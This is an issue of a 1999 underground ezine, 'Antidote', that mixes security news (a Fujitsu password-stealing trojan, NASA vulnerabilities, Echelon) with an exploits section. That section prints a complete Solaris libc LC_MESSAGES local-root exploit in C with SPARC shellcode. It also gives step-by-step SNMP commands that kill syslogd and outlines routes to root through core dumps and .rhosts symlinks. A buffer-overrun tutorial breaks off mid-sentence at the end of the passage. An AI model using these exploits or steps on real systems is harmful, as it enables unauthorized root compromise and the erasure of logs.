Volume 2 Issue 5 5/24/99 ** ** ***** * * ** * * *** ** *** ** ** *** ** * ** ** * ** ******** ** **** ******** * ** *** **** ******** *** *** ** * *** * ******** *** * ** **** **** * ** *** ********* * **** ** * *** * ** ** **** ** ** ** **** ** ** ** * *** * ** ** ** ** ** ** ** ** ** ** ** *** ********* ** ** ** ** ** ** ** ** ** ******** * ** ** ** ** ** ** ** ** ** ** ******* * ** ** ** ** ** ** ** ** ** ** ** ***** ** ** ** ** ** ** ** ****** ** **** * * **** ** * *** *** ** *** * ***** **** ** ******* * ** ** *** *** *** *** ***** * ** http://www.thepoison.org/antidote ------------------------------ In this issue of Antidote, we have over 525 subscribers and getting more everyday! The only thing that we ask of you when you read Antidote, is that you go to: www.thepoison.org/popup.html and click on our sponsors. One issue of Antidote takes us about a week to put together and going to our sponsor only takes you about 15 seconds (if that). So please go visit our sponsor because it is the only thing we ask of you. --=\\Contents\\=-- 0.00 - Beginning 0.01 - What? 0.02 - FAQ 0.03 - Shouts 0.04 - Writing 1.00 - News 1.01 - Trojan Horse in Fujitsu 1.02 - NASA Vulnerable? 1.03 - Clinton Approves Cyberstrike 1.04 - Echelon 2.00 - Exploits (new & older) 2.01 - ex_lobc.c.txt 2.02 - Sun Solaris 2.6 SNMP 2.03 - NetBSD 1.3 2.04 - irix.wu-ftp.bof.txt 2.05 - winnt.rasman.bof.txt 3.00 - Misc 3.01 - Admin FAQ 3.02 - csscan.c.txt 3.03 - Secure Storage in Windows ------------------------------ 0.01 --=\\What?\\=-- What is 'Antidote'? Well, we wouldn't say that Antidote is a hacking magazine, cause that would be wrong. We don't claim to be a hacking magazine. All Antidote is, is basically current news and happenings in the underground world. We aren't going to teach you how to hack or anything, but we will supply you with the current information and exploits. Mainly Antidote is just a magazine for people to read if they have some extra time on there hands and are bored with nothing to do. If you want to read a magazine that teaches you how to hack etc, then you might want to go to your local bookstore and see if they carry '2600'. ------------------------------ 0.02 --=\\FAQ\\=-- Here are a lot of questions that we seem to recieve a lot, or our "Frequently Asked Questions". Please read this before e-mailing us with questions and if the question isn't on here or doesn't make sense, then you can e-mail us with your question. > What exactly is "Antidote"? See section 0.01 for a complete description. > I find Antidote to not be shot for the beginner or does not teach you the basics, why is that? Antidote is for everyone, all we are basically is a news ezine that comes out once a week with the current news, exploits, flaws and even programming. All of the articles that are in here are recieved second hand (sent to us) and we very rarely edit anyone's articles. > I just found Antidote issues on your webpage, is there anyway I can get them sent to me through e-mail? Yes, if you go to www.thepoison.org/antidote there should be a text box where you can input your e-mail address. You will recieve a link to the current Antidote (where you can view it). > If I want to submit something, are there any 'rules'? Please see section 0.03 for a complete description. > If I submitted something, can I remain anonymous? Yes. Just make sure that you specify what information about yourself you would like to be published above your article (when sending it to us) and we will do what you say. > I submitted something and I didn't see it in the current/last issue, why is that? It could be that someone else wrote something similar to what you wrote and they sent it to us first. If you sent us something and we didn't e-mail you back, then you might want to send it again because we probably didn't get it (we respond to all e-mails no matter what). We might use your article in future issues off Antidote. > Can I submit something that I didn't "discover" or "write"? Yes you can, we take information that is written by anyone regardless if you wrote it or not. Well thats it for our FAQ. If you have a question that is not on here or the question is on here and you had trouble understanding it, then please feel free to e-mail lordoak@thepoison.org and he will answer your question. This FAQ will probably be updated every month. ------------------------------ 0.03 --=\\Shouts\\=-- These are just some shout outs that we feel we owe to some people. Some are individuals and Some are groups in general. If you are not on this list and you feel that For some reason you should be, then please contact Lord Oak and he will post you on here and we are sorry for the Misunderstanding. Well, here are the shout outs: Lord Oak EazyMoney Duece Astral PBBSER oX1dation Forlorn Retribution 0dnek www.thepoison.org Like we said above, if we forgot you and/or you think you should be added, please e-mail lordoak@thepoison.org and he will be sure to add you. ------------------------------ 0.04 --=\\Writing\\=-- As many of you know, we are always open to articles/submittings. We will take almost anything that has to do with computer security. This leaves you open for: -Protecting the system (security/securing) -Attacking the system (hacking, exploits, flaws, etc....) -UNIX (really anything to do with it...) -News that has to do with any of the above.... The only thing that we really don't take is webpage hacks, like e-mailing us and saying "www.xxx.com" was hacked... But if you have an opinion about the hacks that is fine. If you have any questions about what is "acceptable" and not, please feel free to e-mail Lord Oak [lordoak@thepoison.org] with your question and he will answer it. Also, please note that if we recieve two e-mails with the same topic/idea then we will use the one that we recieved first. So it might be a good idea to e-mail one of us and ask us if someone has written about/on this topic so that way you don't waste your time on writing something that won't be published. An example of this would be: If Joe sends me an e-mail with the topic being on hacking hotmail accounts on thursday. And then Bill sends us an e-mail on hacking hotmail accounts on sunday, we will take Joe's article because he sent it in first. But keep in mind, we might use your article for the next issue! If you have something that you would like to submit to Antidote, please e-mail lordoak@thepoison.org or duece@thepoison.org and one of us will review the article and put it in Antidote (if we like it). ------------------------------ _________________________________ ) ___ ( ( //___/ / // ) ) // ) ) ) ) /____ / // / / __ / / ( ( / / // / / ) ) ) ) / / ((___/ / ((___/ / ( ( http://www.403-security.org ) ) For the latest hacks and news ( (___________________________________) 1.01 --=\\Trojan Horse in Fujitsu\\=-- [www.asiabiztech.com] An operator of InfoWeb, Fujitsu Ltd.'s Internet service, said an unknown party using the service's name sent its subscribers a file disguised as vaccine software. The file is actually a virus program that steals passwords. G-Search Ltd., a Fujitsu affiliate and InfoWeb services operator, investigated the incident and said that there were at least 68 customers who had received the problem email, to which a virus believed to be a vaccine was attached, from its InfoWeb service center as sender. The email read, "As a virus, called TX-500, is rampant, users should execute a vaccine program attached to this email to avoid being infected by the virus as soon as possible. You also had better change your password to a new one for dial-up connection online because your password may have been stolen." The mail pointed to the home page of InfoWeb for users to change a password, and there were authentic telephone and fax numbers of G-Search's InfoWeb service center on the page. The content of the mail turned out to be false, however. The InfoWeb service center said it didn't send such an alert to its users. Further, an attached file to this mail message was found to be a virus. Network Associates Japan Inc., a vendor of virus-inspection software, studied the attached file at the request of G-Search and found that it was indeed a virus software capable of taking in password changes done by users online and transferring the new password information to some destination address. InfoWeb has already issued a warning that users watch out for a virus-tainted email that may have come to them under the name of InfoWeb, through its Web site on the night of May 9, the day the first damage report came in. By the evening of May 10, when InfoWeb identified the email as a virus, it contacted all of the 68 users either via email or by telephone, in case that they did not read the warning email, and instructed those who already executed the program on ways to recover from the damage it inflicted. There were about 10 people who already executed the virus- laden "vaccine" program. On the morning of May 11, on InfoWeb's home page, detailed information was posted about the virus with password-stealing capabilities and how to deal with it upon receipt of the mail. Though the virus-laden email arrives, no damage will be caused without execution. Moreover, Macintosh computers will not be affected by the virus because it is created for the Windows operating system. Network Associates succeeded in developing a program for checking the virus in question, but not a vaccine program against the virus that can remove it from infected computers. Once G-Search can identify who spread the virus by cashing in on InfoWeb, the company plans to take legal action against the sender. This time the incident appears to have given Internet users another lesson as harmful email. A similar incident had emerged on May 4 mainly in the United States that a mail message pretended to be sent by America Online Inc., apparently aimed at stealing credit card numbers from AOL users. http://www.nikkeibp.asiabiztech.com/wcs/leaf?CID=onair/asabt/news/70448 ------------------------------ 1.02 --=\\NASA Vulnerable?\\=-- [http://www.fcw.com] Many of NASA's mission-critical information systems are vulnerable to attack, and almost all the systems do not meet the agency's own requirements for risk assessment, according to a General Accounting Office report released today. In tests conducted by GAO at one of NASA's field centers, experts were able to penetrate several mission-critical systems, including one responsible for calculating the posi- tioning data for spacecraft. "Having obtained access to these systems, we could have disrupted NASA's ongoing command and control operations and stolen, modified or destroyed system software and data," the report states. GAO attributed much of the success of the attacks to NASA's lack of consistent informa- tion security management and policies as suggested by GAO's 1998 Executive Guide. And although NASA performed a special review of its information security program last May that found many of the same problems identified by GAO, few of the recommended fixes have been started, according to the report. GAO recommended that NASA put in place an agencywide security program addressing five areas: assessing risks and evaluating needs; implementing policies and controls; monitoring compliance with policy and effectiveness of controls; providing computer security training; and coordinating responses to security incidents. http://www.fcw.com/pubs/fcw/1999/0517/web-nasa-5-20-99.html ------------------------------ 1.03 --=\\Clinton Approves Cyberstrike\\=-- [www.wired.com] President Clinton has approved a top-secret plan to destabilize Yugoslav leader Slobodan Milosevic, using computer hackers to attack his foreign bank accounts and a sabotage campaign to erode his public support, Newsweek magazine reported on Sunday. The magazine, in its 31 May edition, quoted sources as saying Clinton issued an intelligence "finding" allowing the Central Intelligence Agency to find "ways to get at Milosevic." The finding would permit the CIA to train ethnic Albanian rebels in Kosovo in the art of sabotage, including such tricks as cutting telephone lines, fouling gasoline reserves, and pilfering food supplies, the magazine reported. The CIA also was instructed to wage a cyberwar against Milosevic, using computer hackers to tap into the Yugoslav president's foreign bank accounts, the magazine said. Newsweek said other NATO allies were not to be told about the secret war. The Senate and House of Representatives intelligence committees were briefed on the decision, Newsweek said. Some lawmakers criticized the finding, questioning the legality and wisdom of launching a risky covert action, the magazine said. "If they pull it off, it will be great," Newsweek quoted one government cyberwar expert as saying. "If they screw it up, they are going to be in a world of trouble." Senator Joseph Lieberman (D-Connecticut) said on Fox News Sunday he thought a cyberwar against the Yugoslav leader was "totally acceptable." "I wouldn't be surprised if we were using it here as part of an effort to bring the war in Kosovo home to the people, the civilians in Belgrade, so that they pressure Milosevic to break and make an agreement with NATO," Lieberman said. http://www.wired.com/news/news/politics/story/19836.html ------------------------------ 1.04 --=\\Echelon\\=-- [www.theage.com] Australia has become the first country openly to admit that it takes part in a global electronic surveillance system that intercepts the private and commercial international communications of citizens and companies from its own and other countries. The disclosure is made today in Channel 9's Sunday program by Martin Brady, director of the Defence Signals Directorate in Canberra. Mr Brady's decision to break ranks and officially admit the existence of a hither to unacknowledged spying organisation called UKUSA is likely to irritate his British and American counterparts, who have spent the past 50 years trying to prevent their own citizens from learning anything about them or their business of ``signals intelligence'' - ``sigint'' for short. In his letter to Channel 9 published today, Mr Brady states that the Defence Signals Directorate (DSD) ``does cooperate with counterpart signals intelligence organisations overseas under the UKUSA relationship". In other statements which have now been made publicly available on the Internet (www.dsd.gov.au), he also says that DSD's purpose ``is to support Australian Government decision-makers and the Australian Defence Force with high-quality foreign signals intelligence products and services. DSD (provides) important information that is not available from open sources". Together with the giant American National Security Agency (NSA) and its Canadian, British, and New Zealand counterparts, DSD operates a network of giant, highly automated tracking stations that illicitly pick up commercial satellite communications and examine every fax, telex, e-mail, phone call, or computer data message that the satellites carry The five signals intelligence agencies form the UKUSA pact. They are bound together by a secret agreement signed in 1947 or 1948. Although its precise terms have never been revealed, the UKUSA agreement provides for sharing facilities, staff, methods, tasks and product between the participating governments. Now, due to a fast-growing UKUSA system called Echelon, millions of messages are automatically intercepted every hour, and checked according to criteria supplied by intelligence agencies and governments in all five UKUSA countries. The intercepted signals are passed through a computer system called the Dictionary, which checks each new message or call against thousands of ``collection'' requirements. The Dictionaries then send the messages into the spy agencies' equivalent of the Internet, making them accessible all over the world. Australia's main contribution to this system is an ultra-modern intelligence base at Kojarena, near Geraldton in Western Australia. The station was built in the early 1990s. At Kojarena, four satellite tracking dishes intercept Indian and Pacific Ocean communications satellites. The exact target of each dish is concealed by placing them inside golfball like ``radomes''. About 80 per cent of the messages intercepted at Kojarena are sent automatically from its Dictionary computer to the CIA or the NSA, without ever being seen or read in Australia. Although it is under Australian command, the station - like its controversial counterpart at Pine Gap - employs American and British staff in key posts. Among the ``collection requirements" that the Kojarena Dictionary is told to look for are North Korean economic, diplomatic and military messages and data, Japanese trade ministry plans, and Pakistani developments in nuclear weapons technology and testing. In return, Australia can ask for information collected at other Echelon stations to be sent to Canberra. A second and larger, although not so technologically sophisticated DSD satellite station has been built at Shoal Bay, Northern Territory. At Shoal Bay, nine satellite tracking dishes are locked into regional communications satellites, including systems covering Indonesia and south-west Asia. International and governmental concern about the UKUSA Echelon system has grown dramatically since 1996, when New Zealand writer Nicky Hager revealed intimate details of how it operated. New Zealand runs an Echelon satellite interception site at Waihopai, near Blenheim, South Island. Codenamed ``Flintlock", the Waihopai station is half the size of Kojarena and its sister NSA base at Yakima, Washington, which also covers Pacific rim states. Waihopai's task is to monitor two Pacific communications satellites, and intercept all communications from and between the South Pacific islands. Like other Echelon stations, the Waihopai installation is protected by electrified fences, intruder detectors and infra-red cameras. A year after publishing his book, Hager and New Zealand TV reporter John Campbell mounted a daring raid on Waihopai, carrying a TV camera and a stepladder. From open, high windows, they then filmed into and inside its operations centre. They were astonished to see that it operated completely automatically. Although Australia's DSD does not use the term ``Echelon'', Government sources have confirmed to Channel 9 that Hager's description of the system is correct, and that the Australia's Dictionary computer at Kojarena works in the same way as the one in New Zealand. Until this year, the US Government has tried to ignore the row over Echelon by refusing to admit its existence. The Australian disclosures today make this position untenable. US intelligence writer Dr Jeff Richelson has also obtained documents under the US Freedom of Information Act, showing that a US Navy-run satellite receiving station at Sugar Grove, West Virginia, is an Echelon site, and that it collects intelligence from civilian satellites. The station, south-west of Washington, lies in a remote area of the Shenandoah Mountains According to the released US documents, the station's job is ``to maintain and operate an Echelon site''. Other Echelon stations are at Sabana Seca, Puerto Rico, Leitrim, Canada and at Morwenstow and London in Britain. Information is also fed into the Echelon system from taps on the Internet, and by means of monitoring pods which are placed on undersea cables. Since 1971, the US has used specially converted nuclear submarines to attach tapping pods to deep underwater cables around the world. The Australian Government's decision to be open about the UKUSA pact and the Echelon spy system has been motivated partly by the need to respond to the growing international concern about economic intelligence gathering, and partly by DSD's desire to reassure Australians that its domestic spying activity is strictly limited and tightly supervised. According to DSD director Martin Brady, ``to ensure that (our) activities do not impinge on the privacy of Australians, DSD operates under a detailed classified directive approved by Cabinet and known as the Rules on Sigint and Australian Persons". Compliance with this Cabinet directive is monitored by the inspector-general of security and intelligence, Mr Bill Blick. He says that ``Australian citizens can complain to my office about the actions of DSD. And if they do so then I have the right to conduct an inquiry." But the Cabinet has ruled that Australians' international calls, faxes or e-mails can be monitored by NSA or DSD in specified circumstances. These include ``the commission of a serious criminal offence; a threat to the life or safety of an Australian; or where an Australian is acting as the agent of a foreign power". Mr Brady says that he must be given specific approval in every case. But deliberate interception of domestic calls in Australia should be left to the police or ASIO. Mr Brady claims that other UKUSA nations have to follow Australia's lead, and not record their communications unless Australia has decided that this is required. ``Both DSD and its counterparts operate internal procedures to satisfy themselves that their national interests and policies are respected by the others," he says. So if NSA happens to intercept a message from an Australian citizen or company whom DSD has decided to leave alone, they are supposed to strike out the name and insert ``Australian national'' or ``Australian corporation'' instead. Or they must destroy the intercept. That's the theory, but specialists differ. According to Mr Hager, junior members of UKUSA just can't say ``no''. ``... When you're a junior ally like Australia or New Zealand, you never refuse what they ask for.'' There are also worries about what allies might get up to with information that Australia gives them. When Britain was trying to see through its highly controversial deal to sell Hawk fighters and other arms to Indonesia, staff at the Office of National Assessments feared that the British would pass DSD intelligence on East Timor to President Soeharto in order to win the lucrative contract. The Australian Government does not deny that DSD and its UKUSA partners are told to collect economic and commercial intelligence. Australia, like the US, thinks this is especially justified if other countries or their exporters are perceived to be behaving unfairly. Britain recognises no restraint on economic intelligence gathering. Neither does France. According to the former Canadian agent Mike Frost, it would be ``nave" for Australians to think that the Americans were not exploiting stations like Kojarena for economic intelligence purposes. ``They have been doing it for years," he says. ``Now that the Cold War is over, the focus is towards economic intelligence. Never ever over-exaggerate the power that these organisations have to abuse a system such as Echelon. Don't think it can't happen in Australia. It does.'' http://www.theage.com.au/daily/990523/news/news3.html ------------------------------ 10001010100101110101010101001011101010101000 0 1 1 Y88b Y88 888 888 888 88e e88'Y88 0 1 Y88b Y8 888 888 888 888b d888 'Y 1 0 b Y88b Y 8888888 888 8888D C8888 1 0 8b Y88b 888 888 888 888P Y888 ,d 1 1 88b Y88b 888 888 888 88" "88,d88 0 1 1 1 http://www.nudehackers.com 0 0 0 01001010110101010001011010010111010100101011 2.01 --=\\ex_lobc.c.txt\\=-- libc overflows when that handles LC_MESSAGES. So, If you set the long string to LC_MESSAGES and call /bin/sh, the core file is dumped. This is serious problem. The long string that contains the exploit code is set to LC_MESSAGES and called suid program by execl(), local user can get the root privilege. The called suid program have not to contain the overflow bugs. I confirmed this bug on Solaris2.6 and Solaris7. Solaris2.4, 2.5 does not contain this bug. The following program is an example to get root privilege. This is tested on Solaris2.6 for Sparc edition. This program calls "/bin/passwd", but you can also specify other suid programs such as "/bin/su" or "/bin/rsh". /*============================================================ ex_lobc.c Overflow Exploits( for Sparc Edition) The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551) Written by UNYUN (unewn4th@usa.net) ============================================================ */ #define EV "LC_MESSAGES=" #define ADJUST 0 #define OFFSET 5392 #define STARTADR 400 #define NOP 0xa61cc013 #define RETS 600 char x[80000]; char exploit_code[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2b\x0b\xda\xdc\xae\x15\x63\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c" "\x94\x10\x20\x10\x94\x22\xa0\x10" "\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; unsigned long get_sp(void) { __asm__("mov %sp,%i0 \n"); } int i; unsigned int ret_adr; main() { putenv("LANG="); memset(x,'x',70000); for (i = 0; i < ADJUST; i++) x[i]=0x40; for (i = ADJUST; i < 1000; i+=4){ x[i+3]=NOP & 0xff; x[i+2]=(NOP >> 8 ) &0xff; x[i+1]=(NOP >> 16 ) &0xff; x[i+0]=(NOP >> 24 ) &0xff; } for (i=0;i> 8 ) &0xff; x[i+1]=(ret_adr >> 16 ) &0xff; x[i+0]=(ret_adr >> 24 ) &0xff; } memcpy(x,EV,strlen(EV)); x[3000]=0; putenv(x); execl("/bin/passwd","passwd",(char *)0); } --- The Shadow Penguin Security : http://base.oc.to/skyscraper/byte/551 Webmaster : UNYUN (unewn4th@usa.net) ------------------------------ 2.02 --=\\Sun Solaris 2.6 SNMP\\=-- Sun's snmpd implementation as supplied with Solaris 2.6 includes what used to be shipped with Sun's Solstice Admin suite as it's snmpd, and associated subagents. Sun's snmpd is actually pretty interesting, in that it supports a number of features that really could be useful, if it wasn't for the fact that snmp is so insecure. Sun allows for the use of subagents, similar, in concept at least, to the AgentX initiatives which were tried with other SNMPv1 implementations. This complexity seems to have lead to a few short sighted design decisions, which can be leveraged to gain extensive information on a machine, as well as used to create both denial of service situations on the machine, as well as making it possible to leverage things to allow root compromise on the local host. I believe it's also probably possible, using either the dmi service, or some of the sunMasterAgent mib to gain remote access. I have not succeeded in doing so yet, but someone with better working knowledge of the Solstice Admin Suite (or who has a copy) could probably easily leverage this to gain remote access. 1) Information gathering ability. Besides the typical amounts of information available via SNMP, Sun was nice enough to add a 'sunProccesses' group. From this table, it's trivial to extract a list of processes running, users logged in, idle times, TTY's, etc. Anything you could get out of a ps or netstat. This all lives in the /var/snmp/mib/sun.mib MIB. Sun's SNMP Master Agent MIB (/var/snmp/mib/snmpdx.mib) also has some interesting pieces of information that might, on the surface, not appear to be all that interesting, but can prove to be. This includes subagent configuration paths, executable paths, watchdog values, listening ports for subagents, and a whole slew of other stuff. 2) MIB manipulation As shipped, Sun has defined 3 communities. They are 'public', 'private', and 'all private'. The first two are defined in /etc/snmp/conf/snmpdx.acl... the final one doesn't seem to exist in any configuration file. Public is read only. Private has write access to (supposedly) only the system mib, and all private' has write access to the whole MIB. Yes. The whole MIB. Set's on the MIB-II that are going to work will always work via the SNMP port. Set's to the sunMib usually work via 161 also. But what if port 161 is blocked via the firewall, or via efs or ipfilter on the host? 3) Agent Ports Sun's subagent idea, while a good one, is less than secure. To manipulate the MIB-II and the sunMib, they use a subagent called mibiisa, which runs on some arbitrary high port, usually somewhere around 32780. By probing the with snmpget's on these high ports, we can find the listening port for mibiisa. I tend to do get's for something simple like system.sysDescr.0, which will always exist, using the 'public' community. When a response is recieved, we've hit the mibiisa, and can perform set's via this port with the 'all private' community. Sun's snmpd tends to get in weird limbo states where it behaves badly. I believe this has to do with the subagent communication mechanism, but I'm not entirely sure. Sometimes it's necessary to use the high port to do a set, sometimes, the low one. Sometimes you need to forge the source address as being loopback, sometimes you don't. Why, I have no idea. Things also sometimes take a few seconds to be reflected in the MIB. Processes, for instance, don't always appear instantly in the MIB. Example: Killing a process living on a remote host behind a crappy firewall. a) snmpget -p 32780 -v 1 hostname public system.sysDescr.0 ... nothing gets returned... snmpget -p 32781 -v 1 hostname public system.sysDescr.0 ... nothing gets returned...we keep trying ports until we get something back... snmpget -p 32788 -v 1 hostname public system.sysDescr.0 system.sysDescr.0 = "Sun SNMP Agent, SPARCstation-5" So we know mibiisa lives on port 32788. b) snmpwalk -p 32788 -v 1 hostname public \ .1.3.6.1.4.enterprises.sun.sunMib.sunProcesses which will spew out a listing of all the processes on the machine. Let's go after syslogd. snmpwalk -p 32788 -v 1 hostname public \ .1.3.6.1.4.enterprises.sun.sunMib.sunProcesses.sunProcessTable.psEntry.psProcessName \ | grep syslogd This results in: enterprises.sun.sunMib.sunProcesses.sunProcessTable.psEntry.psProcessName.150 = "syslogd" c) snmpset -p 32788 -v 1 hostname "all private" \ .1.3.6.1.4.enterprises.sun.sunMib.sunProcesses.sunProcessTable.psEntry.psProcessStatus.150 i 9 will send a sigkill to syslogd. And that's the end of logging on the machine. 4) Leveraging SNMP problems for local root access This is actually pretty easy to accomplish. Since we can send any signal, we can always get things to dump core's, and as long as it read in the shadow, we can extract it. Something like ftp would work well. Ftp to the machine, send a sigtrap (5) to it, and it should dump a core in /, mode 644. Httpd's may also be a line of attack. We can also use the (now fixed) problem of rpcbind following of symlinks to create a /.rhosts file. Also, since we can send a SIGUSR1 to in.named, we can create a /usr/tmp/named.run symlink to /.rhosts, send the signal via SNMP, and we're in. (please note, .rhosts is just a convenient example. Any file can be attacked) NOTE: this is also a named bug, in my opinion, and should be addressed. All the tmp file creation should check for existing symlinks, etc. 5) Leveraging SNMP problems for remote root access This is still a somewhat unknown quantity. The snmpdx.mib allows for the addition of subagents, configurations, and states. With better knowledge of the way the Solstice agent portions interact with each other, it seems likely that this could be leveraged for remote access. Something along the lines of depositing a conformant application in a writeable directory (say, an incoming directory in ftp). Causing remote mounts may also be a possibility, or using an automounted directory. 6) Other questionable things The lack of authentication used with DMI is almost as disturbing as SNMP. Any user can remotely install or remove configuration files and subagents using the standard tools provided with 2.6. (dmi_cmd) Again, something like a world writeable ftp dir makes this easy to do. Again, a lack of working DMI knowledge makes it difficult to say just what is possible. The in.named problems mentioned above are problems seperate from the SNMP issues. If someone creates a link, they need only wait for someone to kill -USR1 the process to obtain root access. The file in question is named.run is created in /var/tmp. Jeremy Rauch ------------------------------ 2.03 --=\\NetBSD 1.3\\=-- Topic: Arp Table vulnerablility Version: NetBSD 1.3 Severity: Denial of service or traffic hijacking from local network cable is possible Abstract ======== The implementation of ARP packet reception is vulnerable two attacks: - on multihomed hosts, ARP packets from cable A can overwrite ARP entries for cable B. - for all hosts, ARP packets can overwrite ARP entries marked as static. Technical Details ================= ARP is a protocol used to dynamically obtain IPv4 to Link level address translation, used for Ethernet, FDDI, Token ring, and ARCnet cables, described in RFC 826. The first vulnerability is specific to hosts with more than one ARP capable network attached. The address information of incoming ARP packets is not checked to ensure that it corresponds to one of the addresses of the interface on which the packet arrived. Thus, it would be able to suppress or redirect traffic from the attacked host to a different destination. The second vulnerability is related to so-called "static" arp entries. The original NetBSD ARP implementation (as that of most other vendors) allows the creation of "static" or "permanent" ARP entries. They are typically used for two reasons: - as a security measure, to disallow the redirection of traffic addressed to priviledged hosts by rogue hosts on the cable to themselves or elsewhere, - as a cheap routing protocol ("proxy ARP"), mostly when connecting single hosts through point to point links. To the outside, they occur as if they where on the (e.g.) Ethernet, but traffic destined for them is redirected by the ARP mechanism to the routing host. The 2nd usage doesn't create specific denial of service possibilities as the ARP protocol is insecure in itself. However, if static ARP entries are used to prevent D.O.S. attacks, they need to be protected from overwriting. Solutions and Workarounds ========================= NetBSD-1.4, and NetBSD-1.4_BETA after 1999-05-05, are fixed. A patch is available for NetBSD 1.3.3 to fix this problem. You may find this patch on the NetBSD ftp server: ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/patches/19990505-arp NetBSD-current since 19990506 is not vulnerable. Users of NetBSD-current should upgrade to a source tree later than 19990506. Thanks To ========= Both vulnerabilities were reported by Olaf "Rhialto" Seibert in NetBSD PR 7489 and PR 7490. A fix was provided by Zdenek Salvet in PR 7497, and integrated into NetBSD by Ignatios Souvatzis. Revision History ================ 1999/05/21 - initial version More Information ================ Information about NetBSD and NetBSD security can be found at http://www.NetBSD.ORG/ and http://www.NetBSD.ORG/Security/. Copyright 1999, The NetBSD Foundation, Inc. All Rights Reserved. $NetBSD: NetBSD-SA1999-010.txt,v 1.3 1999/05/21 12:47:00 mrg Exp $ ------------------------------ 2.04 --=\\irix.wu-ftp.bof.txt\\=-- Date: Thu, 20 May 1999 15:00:00 -0700 From: Lance James To: BUGTRAQ@netspace.org Subject: IRIX ftpd overflow Regarding the wu-ftpd buffer overflow, it seems vulnerable in IRIX as well. While testing it, it seemed to have core dumped and dumped the passwd file in there as well, but it's only core dumped once. Any feedback on IRIX info would be helpful. Lance James Network Security Administrator Alchemy Communications, Inc. lance@alchemy.net P.S. Tested on Irix 6.3 ------------------------------ 2.05 --=\\winnt.rasman.bof.txt\\=-- Introduction This document is for educational purposes only and explains what a buffer overrun is and shows how they can be exploited on the Windows NT 4 operating system using RASMAN.EXE as a case study. We will take a look at Windows NT processes, virtual address space, the dynamics of a buffer overrun and cover certain key issues such as explaining what a stack is and what the ESP, EBP and EIP CPU registers are and do. With these covered we'll look into the buffer overrun found in RASMAN.EXE. This document may be freely copied and distributed only in its entirety and if credit is given. Cheers, David Litchfield What is a buffer overrun? A buffer overrun is when a program allocates a block of memory of a certain length and then tries to stuff too much data into the buffer, with the extra overflowing and overwritting possibly critical information crucial to the normal execution of the program. Consider the following source: #include int main ( ) { char name[31]; printf("Please type your name: "); gets(name); printf("Hello, %s", name); return 0; } When this source is compiled and turned into a program and the program is run it will assign a block of memory 32 bytes long to hold the name string. Under normal operation someone would type in their name, for instance "David", and the program would then print to the screen "Hello, David". David is 5 letters long, with each letter taking up a single byte. The end of a string, though, is denoted by a thing called a null terminator - which is basically a byte with a value of zero. So we need to add a null terminator to the end of the string making a total length of 6 bytes. It is clear that 6 bytes will fit into the 32 bytes set aside to store the name string. If however, instead of entering "David", we entered "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" that is 40 capital As, when the program reads in our input and places it in our buffer it overflows. 40 will definitely not fit into 32. It so happens that if we enter 40 As we completely overwrite the contents of a special CPU register known as the Instruction Pointer or EIP - the E stands for Extended by the way. A quick explanation of a register - a computer's processor has small memory storage units called registers. Access to the values held in these registers is very quick. These registers have special names and can hold memory addresses and variables. The EIP is one of these registers and holds the memory address of the next instruction to execute. What do I mean by instruction? A program contains a list of instructions for the processor to carry out in order for the program to do its job, much like a recipe contains instructions for a cook to carry out in order to make a cake. These instructions are known as operation codes or opcodes for short. So when a program is running and the processor is executing one of the program's instructions the EIP holds the memory address where the next instruction to be executed can be found. After the current instruction has been executed the processor goes to that memory address and pulls in the instruction found there and then increments the EIP and the executes that instruction. This process of pulling the opcode from the memory address pointed to by the EIP, then incrementing the EIP then executing that instruction continues until the program exits. Going back to our code, the fact that we have overwritten the EIP means that we can effectively tell the CPU to go to a memory address of our choosing and pull down the instruction found there and execute that. Because we are filling the buffer with As we overwrite the EIP with 0x41414141 - 41 is the hex value for a capital A. The processor then goes to address 0x41414141 and tries to read in the instruction found at that address. If there's no instruction there we get a thing known as an Access Violation. Most people will know of this as a message popping up saying something like "The Instruction at '0x41414141' referenced memory at '0x41414141'. The memory could not be read." If we had filled our buffer with Bs we would overwrite the EIP with 0x42424242 essentially telling the processor to go that that memory address to get the next instruction and more than likely we'd get the same Access Violation. Exploiting a buffer overrun. As you'll see later on, being able to overwrite the EIP is vital to exploiting a buffer overrun. When you exploit a buffer overrun you basically get the processor to execute instructions or code of your choosing getting the program to do something it would not normally do. You do this by pointing the EIP back into the buffer which you load with your own opcodes which are then executed. This begs the question , "Why would someone want to do this?" Windows NT, like UNIX systems, require a user to log into the system. Some users are very powerful, such as the Administrator and others are just your average normal user that aren't as powerful. If a normal user wanted to become equivalent to the Administrator and thus just as powerful with almost full control of the system they could exploit a buffer overrun to attain this. The problem is the buffer overrun needs to be in a process that has enough power and privileges to be able to make them an Administrator so there is no point in buffer overruning a process that they, the user themselves, have started. They need to buffer overrun a process started by the system and then get the process to execute their own arbitary code. The system account is very powerful, and if you can get a system process to do something, such as open a Command Prompt, then it will run with system privileges. In Windows NT, if a process starts a new child process then the child process normally inherits the access token of the parent process, normally because some processes can be started using the Win32 CreateProcessAsUser ( ) function that will start the new process under the security context of another user and thus the new process will have a different access token than the parent process. An Access Token is like a set of keys - they denote a user's rights and privileges that determine what they can and cannot do to the machine. An example of this is screen savers. The winlogon.exe system process is responsible for starting a user's screen saver. As oppossed to runing the screen saver in the security context of the system winlogon uses CreateProcessAsUser ( ) to start the screen saver in the security context of the currently logged on user. I digress - back to buffer overruns. In this case study we'll look at the buffer overrun in RASMAN.EXE, a system process, and get it to open a Windows NT Command Prompt. This Command Prompt will have the access token of the system account and so will any other processes started from it. But first a bit more on an NT process' virtual memory layout. A process embodies many things such as, amongst others, a running program, one or more threads of execution, the process' virtual address space and the dynamic link libraries (DLLs) the program uses. The process has 4 GB of virtual address space to use. Half of this is, from address 0x00000000 to 0x7FFFFFFF, private address space where the program, its DLLs and stack (or stacks in the case of a multihthreaded program) are found and the other half, address 0x80000000 to 0xFFFFFFFF is the system address space where such things as NTOSKRNL.EXE and the HAL are loaded. As a side note, this default behaviour can be changed as of service pack three - you can specify a switch in the boot.ini - /3GB - that will assign 3 GB as private address space and 1 GB as system address space. This is to boost the performance of programs, such as databases, the require large 